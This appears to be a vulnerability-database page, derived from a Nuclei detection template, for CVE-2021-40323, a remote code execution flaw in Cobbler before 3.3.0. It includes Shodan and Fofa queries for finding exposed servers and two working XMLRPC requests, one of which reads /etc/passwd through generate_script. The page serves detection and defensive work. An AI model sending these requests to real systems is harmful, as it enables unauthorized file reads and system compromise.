🔙 목록으로 돌아가기

CVE-2021-40323: Cobbler <3.3.0 - Remote Code Execution

TitleCobbler <3.3.0 - Remote Code Execution
Authorc-sh0
SeverityCritical
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized remote code execution, potentially resulting in complete compromise of the affected system.
RemediationUpgrade Cobbler to version 3.3.0 or later, which includes a fix for this vulnerability.
CVSS Score9.8
EPSS Score0.93171
CVE IDCVE-2021-40323
CWE IDCWE-94
Shodan Queryhttp.title:"cobbler web interface"
Fofa Querytitle="cobbler web interface"
Tags cve cve2021 cobbler rce cobbler_project vuln

🔍 Vulnerability Description

Cobbler before 3.3.0 allows log poisoning and resultant remote code execution via an XMLRPC method.

🌐 HTTP Request

POST /cobbler_api HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Content-Length: 360
Content-Type: text/xml
Accept-Encoding: gzip

<?xml version='1.0'?>

<methodCall>

  <methodName>find_profile</methodName>

  <params>

    <param>

      <value>

        <struct>

          <member>

            <name>name</name>

            <value>

              <string>*</string>

            </value>

          </member>

        </struct>

      </value>

    </param>

  </params>

</methodCall>
POST /cobbler_api HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.5
Connection: close
Content-Length: 391
Content-Type: text/xml
Accept-Encoding: gzip

<?xml version='1.0'?>

<methodCall>

  <methodName>generate_script</methodName>

  <params>

    <param>

      <value>

        <string>vPgVfU</string>

      </value>

    </param>

    <param>

      <value>

        <string></string>

      </value>

    </param>

    <param>

      <value>

        <string>/etc/passwd</string>

      </value>

    </param>

  </params>

</methodCall>

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-40323.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-40323.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A